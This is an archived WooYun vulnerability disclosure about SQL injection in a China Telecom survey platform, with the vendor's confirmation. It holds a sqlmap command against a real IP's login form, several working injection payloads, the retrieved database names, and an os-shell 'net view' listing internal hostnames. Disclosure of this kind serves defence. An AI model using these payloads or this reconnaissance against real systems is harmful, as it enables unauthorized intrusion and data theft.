当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069879

漏洞标题:中国电信某处用户调研平台sql注入

相关厂商:中国电信

漏洞作者: scanf

提交时间:2014-07-27 22:48

修复时间:2014-09-10 22:50

公开时间:2014-09-10 22:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-27: 细节已通知厂商并且等待厂商处理中
2014-07-31: 厂商已经确认,细节仅向厂商公开
2014-08-10: 细节向核心白帽子及相关领域专家公开
2014-08-20: 细节向普通白帽子公开
2014-08-30: 细节向实习白帽子公开
2014-09-10: 细节向公众公开

简要描述:

中国电信

详细说明:

http://116.228.171.46/

[wooyun@scanf~]# Sqlmap -u "http://116.228.171.46/Home/Login" --data "UserName=a
dmin&Password=admin" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:58:19
[11:58:19] [INFO] resuming back-end DBMS 'microsoft sql server'
[11:58:19] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: UserName
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=admin' AND 1545=CONVERT(INT,(SELECT CHAR(113)+CHAR(108)+CH
AR(98)+CHAR(116)+CHAR(113)+(SELECT (CASE WHEN (1545=1545) THEN CHAR(49) ELSE CHA
R(48) END))+CHAR(113)+CHAR(112)+CHAR(99)+CHAR(117)+CHAR(113))) AND 'jUAj'='jUAj&
Password=admin
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: UserName=admin' UNION ALL SELECT CHAR(113)+CHAR(108)+CHAR(98)+CHAR(
116)+CHAR(113)+CHAR(110)+CHAR(102)+CHAR(67)+CHAR(72)+CHAR(67)+CHAR(79)+CHAR(97)+
CHAR(72)+CHAR(107)+CHAR(71)+CHAR(113)+CHAR(112)+CHAR(99)+CHAR(117)+CHAR(113)-- &
Password=admin
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: UserName=admin'; WAITFOR DELAY '0:0:5'--&Password=admin
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: UserName=admin' WAITFOR DELAY '0:0:5'--&Password=admin
---
[11:58:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[11:58:19] [INFO] fetching database names
[11:58:19] [INFO] the SQL query used returns 30 entries
available databases [26]:
[*] AdventureWorksDW2008
[*] ent_ivt
[*] IADT30Daily
[*] iadt_apidata
[*] iAdTracker30
[*] iAdTracker30User
[*] iAdTracker4Web
[*] iBrandChoice2006
[*] iBrandChoice2007
[*] iBrandChoice2008
[*] iKeywordTracker_UP
[*] iOneAccount_bak040215
[*] iOneAccount_Test
[*] iOneAccountNew
[*] iTracker
[*] iUserTrackerMain
[*] iUserTrackerUser_baklemon
[*] iutus2
[*] ivt_tmpdata
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] TemplatesUsers
[11:58:19] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\116.228.171.46'
[*] shutting down at 11:58:19


QQ截图20140727115951.png


漏洞证明:

os-shell> net view
do you want to retrieve the command standard output? [Y/n/a]
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[13:23:11] [INFO] the SQL query used returns 63 entries
[13:23:11] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[13:23:11] [INFO] retrieved: "????? ??"
[13:23:12] [INFO] retrieved: " "
[13:23:12] [INFO] retrieved: "-----------------------------------------------...
[13:23:12] [INFO] retrieved: "\\\\\\\\\\\\\\\\AIRU-AF0587A5UI ...
[13:23:12] [INFO] retrieved: "\\\\\\\\\\\\\\\\AIRU-AFWEWQET1 ...
[13:23:13] [INFO] retrieved: "\\\\\\\\\\\\\\\\IDEX137 idex137 se...
[13:23:13] [INFO] retrieved: "\\\\\\\\\\\\\\\\IDEX138 idex138 se...
[13:23:13] [INFO] retrieved: "\\\\\\\\\\\\\\\\IDEX140 idex140 se...
[13:23:13] [INFO] retrieved: "\\\\\\\\\\\\\\\\IDEX141 idex141 se...
[13:23:13] [INFO] retrieved: "\\\\\\\\\\\\\\\\IDEXNEW140 idexnew140...
[13:23:14] [INFO] retrieved: "\\\\\\\\\\\\\\\\IRS-50 ...
[13:23:14] [INFO] retrieved: "\\\\\\\\\\\\\\\\IRS-G234 ...
[13:23:14] [INFO] retrieved: "\\\\\\\\\\\\\\\\IRS-IADC1 ...
[13:23:14] [INFO] retrieved: "\\\\\\\\\\\\\\\\IRS-IADC10 ...
[13:23:14] [INFO] retrieved: "\\\\\\\\\\\\\\\\IRS-IADC2 ...
[13:23:15] [INFO] retrieved: "\\\\\\\\\\\\\\\\IRS-IADC3 ...
[13:23:15] [INFO] retrieved: "\\\\\\\\\\\\\\\\IRS-IADC9 ...
[13:23:15] [INFO] retrieved: "\\\\\\\\\\\\\\\\IRS-SVR1 ...
[13:23:15] [INFO] retrieved: "\\\\\\\\\\\\\\\\IRS-UBUNTU irs-ubuntu...
[13:23:15] [INFO] retrieved: "\\\\\\\\\\\\\\\\MAT003 MAT003 ser...
[13:23:16] [INFO] retrieved: "\\\\\\\\\\\\\\\\MAT004 mat004 ser...
[13:23:16] [INFO] retrieved: "\\\\\\\\\\\\\\\\MAT005 MAT005 ser...
[13:23:16] [INFO] retrieved: "\\\\\\\\\\\\\\\\MAT006 MAT006 ser...
[13:23:16] [INFO] retrieved: "\\\\\\\\\\\\\\\\MAT007 MAT007 ser...
[13:23:16] [INFO] retrieved: "\\\\\\\\\\\\\\\\RYUU-AF0587A5UI ...
[13:23:17] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-02APEA62G1V ...
[13:23:17] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-093VEKOHI4R ...
[13:23:17] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-0PA675FAGMT ...
[13:23:17] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-1Q5IH0ASGUS ...
[13:23:17] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-24DQ7N0LM9U ...
[13:23:18] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-3JC7931S438 ...
[13:23:18] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-48R94VL5QNL ...
[13:23:18] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-56MVU3NLD5H ...
[13:23:18] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-60E6L8K5VOU ...
[13:23:18] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-84SAB5QHDQE ...
[13:23:19] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-86GOS2445S0 ...
[13:23:19] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-98TOBDOK0MN ...
[13:23:19] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-ALONU07JLGP ...
[13:23:19] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-AMLQF99NLF6 ...
[13:23:19] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-AMSL2OPK9S3 ...
[13:23:19] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-AUVS2F4ODAJ ...
[13:23:20] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-C00QVSSUROE ...
[13:23:20] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-CRHFSAFUB7L ...
[13:23:20] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-E2NK7N3EPQV ...
[13:23:20] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-GOA3SSNGKO0 ...
[13:23:20] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-H12MNKHQ48O ...
[13:23:21] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-HCMCRVUVKLS ...
[13:23:21] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-JEU9S1G1U4M ...
[13:23:21] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-JFAQFT2C11B ...
[13:23:21] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-JRVPN863IHT ...
[13:23:21] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-JU630ETLTL0 ...
[13:23:22] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-JVUME9G2D2K ...
[13:23:22] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-MVN4RUHHG4S ...
[13:23:22] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-NJRB79NSB9C ...
[13:23:22] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-OMUT4900I06 ...
[13:23:22] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-PIJDS4BPACL ...
[13:23:23] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-Q5RCK10NFPV ...
[13:23:23] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-QVVRMVJ0SU8 ...
[13:23:23] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-R767N1EHO33 ...
[13:23:23] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-STEQLRSJNJR ...
[13:23:23] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-TV9SJELDM2G ...
[13:23:24] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-UMMVTV1JCRN ...
[13:23:24] [INFO] retrieved: "\\\\\\\\\\\\\\\\WIN-VHG81LD8088 ...
command standard output:
---
????? ??
-------------------------------------------------------------------------------
\\\\AIRU-AF0587A5UI
\\\\AIRU-AFWEWQET1
\\\\IDEX137 idex137 server (Samba, Ubuntu)
\\\\IDEX138 idex138 server (Samba, Ubuntu)
\\\\IDEX140 idex140 server (Samba, Ubuntu)
\\\\IDEX141 idex141 server (Samba, Ubuntu)
\\\\IDEXNEW140 idexnew140 server (Samba, Ubuntu)
\\\\IRS-50
\\\\IRS-G234
\\\\IRS-IADC1
\\\\IRS-IADC10
\\\\IRS-IADC2
\\\\IRS-IADC3
\\\\IRS-IADC9
\\\\IRS-SVR1
\\\\IRS-UBUNTU irs-ubuntu server (Samba, Ubuntu)
\\\\MAT003 MAT003 server (Samba, Ubuntu)
\\\\MAT004 mat004 server (Samba, Ubuntu)
\\\\MAT005 MAT005 server (Samba, Ubuntu)
\\\\MAT006 MAT006 server (Samba, Ubuntu)
\\\\MAT007 MAT007 server (Samba, Ubuntu)
\\\\RYUU-AF0587A5UI
\\\\WIN-02APEA62G1V
\\\\WIN-093VEKOHI4R
\\\\WIN-0PA675FAGMT
\\\\WIN-1Q5IH0ASGUS
\\\\WIN-24DQ7N0LM9U
\\\\WIN-3JC7931S438
\\\\WIN-48R94VL5QNL
\\\\WIN-56MVU3NLD5H
\\\\WIN-60E6L8K5VOU
\\\\WIN-84SAB5QHDQE
\\\\WIN-86GOS2445S0
\\\\WIN-98TOBDOK0MN
\\\\WIN-ALONU07JLGP
\\\\WIN-AMLQF99NLF6
\\\\WIN-AMSL2OPK9S3
\\\\WIN-AUVS2F4ODAJ
\\\\WIN-C00QVSSUROE
\\\\WIN-CRHFSAFUB7L
\\\\WIN-E2NK7N3EPQV
\\\\WIN-GOA3SSNGKO0
\\\\WIN-H12MNKHQ48O
\\\\WIN-HCMCRVUVKLS
\\\\WIN-JEU9S1G1U4M
\\\\WIN-JFAQFT2C11B
\\\\WIN-JRVPN863IHT
\\\\WIN-JU630ETLTL0
\\\\WIN-JVUME9G2D2K
\\\\WIN-MVN4RUHHG4S
\\\\WIN-NJRB79NSB9C
\\\\WIN-OMUT4900I06
\\\\WIN-PIJDS4BPACL
\\\\WIN-Q5RCK10NFPV
\\\\WIN-QVVRMVJ0SU8
\\\\WIN-R767N1EHO33
\\\\WIN-STEQLRSJNJR
\\\\WIN-TV9SJELDM2G
\\\\WIN-UMMVTV1JCRN
\\\\WIN-VHG81LD8088
---
os-shell>


可以内网渗透的啊!!!
怎么屌,没有授权啊,不敢上!!

修复方案:

1过滤UserName
2降权数据库
320ranks好吗?

版权声明:转载请注明来源 scanf@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-07-31 21:56

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT直接通报给中国电信集团公司处置。

最新状态:

暂无